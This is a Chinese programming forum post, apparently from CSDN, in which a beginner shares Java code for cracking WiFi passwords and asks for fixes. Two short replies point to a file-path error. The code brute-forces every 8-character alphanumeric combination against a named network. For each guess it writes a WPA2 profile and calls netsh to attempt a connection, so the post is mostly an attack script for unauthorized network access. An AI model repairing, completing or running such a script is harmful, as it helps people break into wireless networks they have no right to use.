qq_43223876 2018-10-08 23:07 采纳率: 0%
浏览 2526

初学Java,想弄个WiFi破解的,但始终有些问题,各位大神麻烦帮我看下代码看看得修改哪里?

package com.flx.jxh.lx;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.Writer;
import java.util.Scanner;

public class ChongQiLuYou {
public static void main(String[] args) throws IOException {
@SuppressWarnings("resource")
Scanner in = new Scanner(System.in);
System.out.println("输入要连接的WiFi名:");
String a = in.next();
// 如何破解密码
String[] b = { "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "A",
"a", "b", "B", "C", "c", "d", "D", "e", "E", "f", "F", "g",
"G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L", "m",
"M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R", "s",
"S", "t", "T", "u", "U", "v", "V", "w", "W", "w", "W", "x",
"X", "y", "Y", "z", "Z" };
a:for (int i = 0; i < b.length; i++) {
for (int j = 0; j < b.length; j++) {
for (int j2 = 0; j2 < b.length; j2++) {
for (int k = 0; k < b.length; k++) {
for (int k2 = 0; k2 < b.length; k2++) {
for (int l = 0; l < b.length; l++) {
for (int l2 = 0; l2 < b.length; l2++) {
for (int m = 0; m < b.length; m++) {
String c = b[i] + b[j] + b[j2] + b[k]
+ b[k2] + b[l] + b[l2] + b[m];
String d = "&lt?xml version=\"1.0\"?&gt&ltWLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"&gt&ltname&gt"
+ a
+ "&lt/name&gt"
+ "&ltSSIDConfig&gt"
+ " &ltSSID&gt"
+ " &lthex&gt6950686F6E65&lt/hex&gt"
+ " &ltname&gt"
+ a
+ "&lt/name&gt"
+ " &lt/SSID&gt"
+ "&lt/SSIDConfig&gt"
+ "&ltconnectionType&gtESS&lt/connectionType&gt"
+ "&ltconnectionMode&gtauto&lt/connectionMode&gt"
+ "&ltMSM&gt"
+ " &ltsecurity&gt"
+ " &ltauthEncryption&gt"
+ " &ltauthentication&gtWPA2PSK&lt/authentication&gt"
+ " &ltencryption&gtAES&lt/encryption&gt"
+ " &ltuseOneX&gtfalse&lt/useOneX&gt"
+ " &lt/authEncryption&gt"
+ " &ltsharedKey&gt"
+ " &ltkeyType&gtpassPhrase&lt/keyType&gt"
+ " &ltprotected&gtfalse&lt/protected&gt"
+ " &ltkeyMaterial&gt"
+ c
+ "&lt/keyMaterial&gt"
+ " &lt/sharedKey&gt"
+ " &lt/security&gt"
+ "&lt/MSM&gt"
+ "&ltMacRandomization xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v3\"&gt"
+ " &ltenableRandomization&gtfalse&lt/enableRandomization&gt"
+ " &ltrandomizationSeed&gt3759101657&lt/randomizationSeed&gt"
+ "&lt/MacRandomization&gt"
+ "&lt/WLANProfile&gt";
Writer writer = new FileWriter(
new File(
"C:\Users\flx\WLAN-"
+ a.toUpperCase()
+ ".xml"));
BufferedWriter bw = new BufferedWriter(
writer);
bw.write(d);
bw.close();
writer.close();
Runtime.getRuntime().exec("netsh wlan add profile filename=\"WLAN-"+a.toUpperCase()+".xml\"");
Process p = Runtime.getRuntime().exec(
"netsh wlan connect name=" + a
+ " ssid=" + a);
BufferedReader br = new BufferedReader(
new InputStreamReader(
p.getInputStream()));
int e = 1;
String f;
while (true) {
System.out.println(f=br.readLine());
if (f.equals("已成功完成连接请求。")) {
e = 0;
break;
}
}
if (e == 0) {
break a;
}
}
}
}
}
}
}
}
}
}
}

展开全部

  • 写回答

2条回答 默认 最新

  • QQ玉 2018-10-09 00:34
    关注

    Runtime.getRuntime().exec("netsh wlan add profile filename=\"WLAN-"+a.toUpperCase()+".xml\"");这行代码报异常java.io.IOException: error=2, No such file or directory

    评论
  • Mr_Huang_ning 2018-10-09 17:43
    关注

    \"WLAN-"+a.toUpperCase()+".xml\"")这行代码路径错了,找不到这个文件

    评论
编辑
预览

报告相同问题?

悬赏问题

  • ¥15 odoo17在制造模块或采购模块良品与次品如何分流和在质检模块下如何开发
  • ¥15 Qt音乐播放器的音乐文件相对路径怎么写
  • ¥15 VB.NET利用摄像头拍照的程序
  • ¥15 linux下vscode设置不了字连体
  • ¥20 游戏mod是如何制作的
  • ¥15 关于#hadoop#的问题:按照老师上课讲的步骤写的
  • ¥20 有人会用这个工具箱吗 付fei咨询
  • ¥30 成都市武侯区住宅小区兴趣点
  • ¥15 Windows软实时
  • ¥15 自有服务器搭建网络隧道并且负载均衡
手机看
程序员都在用的中文IT技术交流社区

程序员都在用的中文IT技术交流社区

专业的中文 IT 技术社区,与千万技术人共成长

专业的中文 IT 技术社区,与千万技术人共成长

关注【CSDN】视频号,行业资讯、技术分享精彩不断,直播好礼送不停!

关注【CSDN】视频号,行业资讯、技术分享精彩不断,直播好礼送不停!

客服 返回
顶部